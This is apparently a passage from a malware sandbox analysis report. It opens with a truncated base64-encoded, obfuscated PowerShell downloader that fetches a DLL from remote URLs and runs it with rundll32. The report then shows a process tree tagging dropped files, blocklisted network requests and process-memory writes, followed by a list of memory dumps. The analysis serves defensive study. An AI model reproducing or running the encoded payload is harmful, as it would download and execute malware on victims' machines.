AJwBZACcAKwAoACcAaABrAGkAJwArACcAcAAnACkAKwAnAHIAdgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAdQBjAGQAaAA4ADMAIABpAG4AIAAkAEsAaAAxAG4AZQBpAGYAIAB8ACAAUwBvAFIAYABUAGAALQBvAEIASgBFAGAAYwBUACAAewBnAGUAdAAtAGAAUgBhAGAATgBEAE8ATQB9ACkAewB0AHIAeQB7ACQASQBuAHUAaABuAG0AdAAuACIARABvAFcAYABOAGwAYABPAEEAYABEAEYAaQBMAEUAIgAoACQASgB1AGMAZABoADgAMwAsACAAJABKAGsANAB5AG4AdAB4ACkAOwAkAE4AdgBtADEAOQAxAHEAPQAoACgAJwBHAHgAJwArACcAdAA5ADgAZwAnACkAKwAnAG8AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAawA0AHkAbgB0AHgAKQAuACIAbABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADQAMgA2ADMAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQASgBrADQAeQBuAHQAeAAsACcAIwAxACcALgAiAFQATwBTAGAAVABgAFIAaQBuAEcAIgAoACkAOwAkAEoAOQByAHkAegBvAGYAPQAoACgAJwBHACcAKwAnAHIANAA1AHkAagAnACkAKwAnADMAJwApADsAYgByAGUAYQBrADsAJABZADMAYwAxAG8ANABuAD0AKAAnAFQAJwArACcAOQB1ACcAKwAoACcAOQByACcAKwAnADIAMwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwA4AGIAdABkADMANAA9ACgAKAAnAEYAJwArACcAMgB5AGkAeAAnACkAKwAnAGsAdgAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:608
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Crk40p4\Pk6dt6b\Vx74jg.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1344
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Crk40p4\Pk6dt6b\Vx74jg.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1836
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgca\ldcrued.gyl",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1548

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/608-4-0x000007FEF5A60000-0x000007FEF644C000-memory.dmp
          Download

          memory/608-10-0x000000001C450000-0x000000001C451000-memory.dmp
          Download

          memory/608-8-0x0000000001FA0000-0x0000000001FA1000-memory.dmp
          Download

          memory/608-5-0x0000000002970000-0x0000000002971000-memory.dmp
          Download

          memory/608-7-0x0000000002550000-0x0000000002551000-memory.dmp
          Download

          memory/608-6-0x000000001AB90000-0x000000001AB91000-memory.dmp
          Download

          memory/608-9-0x000000001B990000-0x000000001B991000-memory.dmp
          Download

          memory/1548-20-0x00000000001E0000-0x00000000001FF000-memory.dmp
          Download

          memory/1716-21-0x000007FEF7E50000-0x000007FEF80CA000-memory.dmp
          Download

          memory/1836-18-0x0000000000200000-0x000000000021F000-memory.dmp
          Download